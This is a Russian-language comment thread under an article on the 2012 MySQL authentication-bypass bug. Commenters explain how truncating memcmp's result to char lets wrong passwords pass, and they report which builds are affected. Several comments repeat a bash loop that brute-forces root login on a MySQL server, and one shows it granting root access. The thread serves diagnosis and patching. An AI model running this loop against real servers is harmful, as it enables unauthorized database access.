Pull to refresh

Comments 92

между "-u" и «root» в команде не должно быть пробела, иначе параметр root будет воспринят как имя базы для подключения.
нет, сорри, ошибся…
Ребят не надо, я тоже «привык» писать -u параметр слитно (по аналогии с паролем). с кем не бывает.
А где написано, что возвращаемое значение лежит в этом диапазоне?
нигде не написано. Никто специально на это и не полагался, так получилось просто:

typedef char my_bool;
...
my_bool check(.....) {
  return memcmp(....);
}

В коде функции проверки return memcmp();
А возвращаемое значение char, поэтому после type-cast'a прокатывают отличные от нуля значения возвращаемые memcmp(), ну то есть 0x100, 0x200, и т.д.
Кстати, вроде как и gcc, и msvc варнинг выдают на такое.
Все понятно, Ализар :)
Правильно, минусуйте. А вот в статье (кстати, не перевод — в этом случае было бы понятно нежелание что-то менять), написано, что бага якобы в glibc, где функция memcmp ведет себя не так, как положено. И автор до сих пор не потрудился исправить свою досадную оплошность.
Ubuntu 12.04 32 bit, mysql 5.5.22 — ничего (как и заявлено)
Ubuntu 11.10 64 bit, mysql 5.1.62 — ничего (заявлено, что уязвим)
Debian 6.0.5 64 bit, mysql 5.1.61 — ничего
CentOS 6.2 64 bit, mysql 5.1.61 — ничего
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu) 64 бита.

Пробил за пару секунд. Шикарная дырка.
UFO just landed and posted this here
$ rpm -qa | grep mysql-server
mysql-server-5.5.23-1.fc16.x86_64

Не работает.
> Ubuntu 11.10 64 bit, mysql 5.1.62 — ничего (заявлено, что уязвим)
только что проверил ровно на такой конфе — работает
забавно: сказано про 1 случай из 256. Так вот, если задать 1000 итераций, то можно, как я в одну из попыток, 6 раз пытаться сделать exit. То есть, такая гостеприимная дырка получается :)
Интересно, перепроверил еще раз 5, и ничего. Хм…
Попробуйте --user=debian-sys-maint
У меня на 12.04 в 64 битной сборке баш не пускает в mysql, а вот тест на C показывает что-то вроде:
Vulnerable! memcmp returned: 162
Эх, как не прочитаю про уязвимость — у меня уже закрыта: 5.5.22
UFO just landed and posted this here
у меня MySQL 5.5.22 на Ubuntu 12.04 x64
Уязвимость работает
У меня на арче 5.5.23 причем вроде месяца 3 не обновлялся.
UFO just landed and posted this here
volch@home:~$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
volch@home:~$ mysql --version
mysql Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (x86_64) using readline 6.2
volch@home:~$ uname -a
Linux home 3.2.0-24-generic #39-Ubuntu SMP Mon May 21 16:52:17 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux


UFO just landed and posted this here
UFO just landed and posted this here
model name : AMD A4-3400 APU with Radeon(tm) HD Graphics
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc rep_good nopl nonstop_tsc extd_apicid aperfmperf pni monitor cx16 popcnt lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt arat npt lbrv svm_lock nrip_save pausefilter

и в 5.5.22 это баг не закрыт. Но конкретная сборка может быть неуязвима. Я вообще не понимаю как Arch или Debian должны собирать MySQL, чтобы заработать себе эту дыру — они что с -O0 собирают? С включенной оптимизацией gcc использует встроенный memcmp() и дыры тогда нет.
«мы переходим на выпуск новой версии раз в полгода. главное не качество — а количество фич в релизе» © MySQL
Ну это-то совсем мимо.

1. Не переходят. Один раз переходили — с версией 6.0 — второй раз вряд ли на те же грабли наступят (хотя могут)
2. Новые исправленные версии выпустили довольно оперативно, для Оракла. Мы в MariaDB, конечно, были первыми, но мы и меньше — нам надо двигаться быстрее.
3. Этот баг не новый, ему лет десять, не меньше. Это не результат никаких «новых фич».
SRV ~# for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
SRV ~# mysql --version
mysql Ver 14.14 Distrib 5.1.49, for debian-linux-gnu (i486) using readline 6.1

Иными словами, не взлетело (пробовал несколько раз)

Старый плохо обновляющийся etch, кое-как проапгрейженный до squeezy.
невнимателен, спасибо.
mysql --version
mysql Ver 14.14 Distrib 5.1.49, for debian-linux-gnu (x86_64) using readline 6.1

тож нифига на той же версии 64bit…
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
потому что Ализар явно переводил отсюда. Это объясняет и «ubuntu» и даже слово «смешная». А там по ссылке читаем, что Ubuntu/Fedora «confirmed as vulnerable». То есть кто-то кому-то сказал, что у него сработало. Ну так с кого-то какой-то и спрос.
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
[root@deb-router ~]$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3909
Server version: 5.5.23-2 (Debian)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

[root@deb-router ~]$ uname -a
Linux deb-router 3.2.0-2-amd64 #1 SMP Sat May 12 23:08:28 UTC 2012 x86_64 GNU/Linux


Работает.
Забавно.

А, если не сложно, у кого сработало покажите, что у вас пишет
egrep '(FLAG|compiler)'  `which mysqlbug`

можно в личку.
-O2/O3, однако

COMP_CALL_INFO="CC='/usr/bin/x86_64-linux-gnu-gcc'  CFLAGS='-O2 -DBIG_JOINS=1  -fno-strict-aliasing  -Wall -O2 -g -DDBUG_OFF'  CXX='/usr/bin/x86_64-linux-gnu-g++'  CXXFLAGS='-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions -fno-rtti  -fno-strict-aliasing  -Wall -Wno-unused-parameter -fno-implicit-templates -fno-exceptions -fno-rtti -O2 -g -DDBUG_OFF'  LDFLAGS=''  ASFLAGS=''"
COMP_RUN_INFO="CC='/usr/bin/x86_64-linux-gnu-gcc'  CFLAGS='-O2 -DBIG_JOINS=1  -fno-strict-aliasing  -Wall -O2 -g -DDBUG_OFF'  CXX='/usr/bin/x86_64-linux-gnu-g++'  CXXFLAGS='-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions -fno-rtti  -fno-strict-aliasing  -Wall -Wno-unused-parameter -fno-implicit-templates -fno-exceptions -fno-rtti -O2 -g -DDBUG_OFF'  LDFLAGS=''  ASFLAGS=''"
>C compiler:    gcc-4.6.real (Debian 4.6.3-1) 4.6.3
>C++ compiler:  g++-4.6.real (Debian 4.6.3-1) 4.6.3
</souirce>
интересно-интересно.
спасибо, буду разбираться. до сих пор я считал, что на -O2 уже gcc будет inline-ить свой встроенный memcmp. Контрпримеров пока не было. И «info gcc» вроде так говорит.
Там может от размеров зависеть. При каких-то будет инлайнить, в других случаях вызовет библиотечную.
не может там от размеров зависеть. Исходники везде одинаковые, так что размеры — тоже везде одинаковые. Длина буфера фиксирована, 20 байт. Так что gcc должен memcmp по любому про-inline-ить.
UFO just landed and posted this here
UFO just landed and posted this here
я, конечно, брал и смотрел. Иначе такой баг хрен поймаешь :)

баг проявляется на __memcmp_sse4_1 из glibc. Так что для прямой попытки надо брать именно его.
UFO just landed and posted this here
Это не баг, а документированное поведение — функция возвращает int, который может быть либо меньше нуля, либо больше нуля, либо равен нулю, и почти всегда по размеру больше, чем char. Ошибка именно в MySQL.
Кстати, каждый раз, когда я вижу подобное, я вынужден соглашаться с апологетами ФЯПов с выведением типов и pattern matching'ом (а ля хаскел) — если у вас в коде не предусмотрены все случаи выходных данных, то программа просто не соберётся.
вообще-то выведение типов не имеет прямого отношения к ФП. Просто так сложилось что в функциональных языках оно есть. Дело, я думаю, в том, что выведение типов — относительно новая идея в развитии компиляторов. И ФП стали набирать популярность относительно недавно. Так что новые языки, естественно, берут себе все новые и лучшие идеи. А C/C++ — старые как… И в них ничего такого нет. Хотя в новых стандартах (C++11, ага) постепенно и осторожно добавляют новые фишки. Выводить типы C++11 уже умеет, хотя и не так, как языки придуманные недавно с нуля.
Давно они придуманы, давно
Приличные компиляторы С/С++ предупреждения выдают при присваивании с возможной потерей данных. Просто эти предупреждения мало кто читает :(
Ubuntu 12.04 LTS (GNU/Linux 3.2.0-24-generic-pae i686) mysql
Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (i686) using readline 6.2
не работает
Чекер просто обнять и плакать…

Not triggered in 10 seconds, *probably* not vulnerable..
Федора 16 (64-бит), MySQL 5.5.23: баг присутствует :(
Пожалуйста, вычеркните Федору из списка неуязвимых.
UFO just landed and posted this here
Кошмар — 5.5.22, все обновления ставил, ubuntu
Уязвимость есть
Ожидал увидеть в комментариях анекдот про китайцев с паролем maodzedun, а его нет.
UFO just landed and posted this here
Я так понимаю, баш скрипт на удалённые хосты не работает? я о том, что доступ root@% открыт, ну мягко говоря, не много где.
UFO just landed and posted this here
Что да то да :))) Лично я юзаю соединения через SSH тоннели
А кто в здравом уме будет к таким вещам доступ оставлять свободным? :)
Ограничить на 1 static IP и ходить чрез proxy/тунель.
UFO just landed and posted this here
Жесть просто.
Нашёл у себя эту жесть.
Убежал обновлять всё и вся (:
Никогда бы не подумал, что анекдот про то как китайцы ломали сервер Пентагон (это где на втором миллиарде запросов, сервер согласился с тем, что пароль «Мао Дзэдун»), имеет шанс быть близким к реальности.
MacOS X 10.7.4, 686-apple-darwin11-llvm-gcc-4.2 (GCC) 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2336.1.00) уязвима:

Vulnerable! memcmp returned: -183
плюс за внимательность :)
В оригинале, конечно, «SHA от пароля и случайной строки»
Объясните мне, почему «--password=bad», а не «--password=$i»? Какой вообще смысл в подсовывании одного и того же пароля если дыра на каждом 256 пароле?

Впрочем, ни первым ни вторым способом, ни с увеличением количества переборов до 10000 на Ubuntu 12.04 x64 ничего не взломалось.
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
$ mysql --version
mysql  Ver 14.14 Distrib 5.5.24, for debian-linux-gnu (x86_64) using readline 6.2

Я выше объяснял (и в оригинале тоже все расписано). Пароль смешивается со случайной строкой. Случайная строка — она случайная, разная каждый раз. Поэтому пароль может быть один и тот же.
Я совсем плохо программирую, но какие-то азы знаю. Весь день ломал мозг на каком основании «функция memcmp() должна возвращать значение в диапазоне -128..127»?

Вот выдержка из «man 3 memcmp»:

NAME
memcmp - compare memory areas

SYNOPSIS
#include <string.h>

int memcmp(const void *s1, const void *s2, size_t n);

DESCRIPTION
The memcmp() function compares the first n bytes (each interpreted as unsigned char) of the
memory areas s1 and s2. It returns an integer less than, equal to, or greater than zero if
s1 is found, respectively, to be less than, to match, or be greater than s2.

RETURN VALUE
The memcmp() function returns an integer less than, equal to, or greater than zero if the
first n bytes of s1 is found, respectively, to be less than, to match, or be greater than the
first n bytes of s2.


Где тут хоть одно упоминание про char или -128..127? Разъясните мне глупому, пожалуйста. Коммент читал, но не допонял. Можно, пожалуйста, на пальцах?
Нет ни одного упоминания. И никому она ничего не должна, это Ализар написал так непонятно.

«Должна» в смысле, «должна, чтобы код работал правильно».

Функция возвращает char. А memcmp — int. То есть происходит неявное преобразование типа int в char. Как int преобразовать в char? А просто взять младший байт. При этом может получиться, что int нулю не равен (а равен, например, 256, то есть 0x100), а младший байт у него нулевой.

Так и получается что строки разные, memcmp возвращает ненулевое значение, а после преобразования в char остается ноль, как будто пароль правильный.
То есть в данном случае ошибка была исключительно в коде «mysql»? А при чем тут тогда разные архитектуры и оптимизации? Где-то memcmp возвращает не int? Или преобразование в char происходит по другому?

А что тогда проверяет эта программа из статьи?
Исключительно в mysql-е, конечно.

Все же подробно описано и в advisory и в комментариях.

memcmp везде возвращает int, но очень редко где этот int может иметь нулевой
младший байт. То есть, насколько я знаю, только __memcmp_sse4_1 может такое.
Про gcc, inline и подробности — выше расписано в комментариях.

Программа вызывает memcmp с разными случайными строками и смотрит был ли младший байт хоть раз нулевым.
Большое Вам спасибо, вроде бы разобрался.
Sign up to leave a comment.

Articles

Change theme settings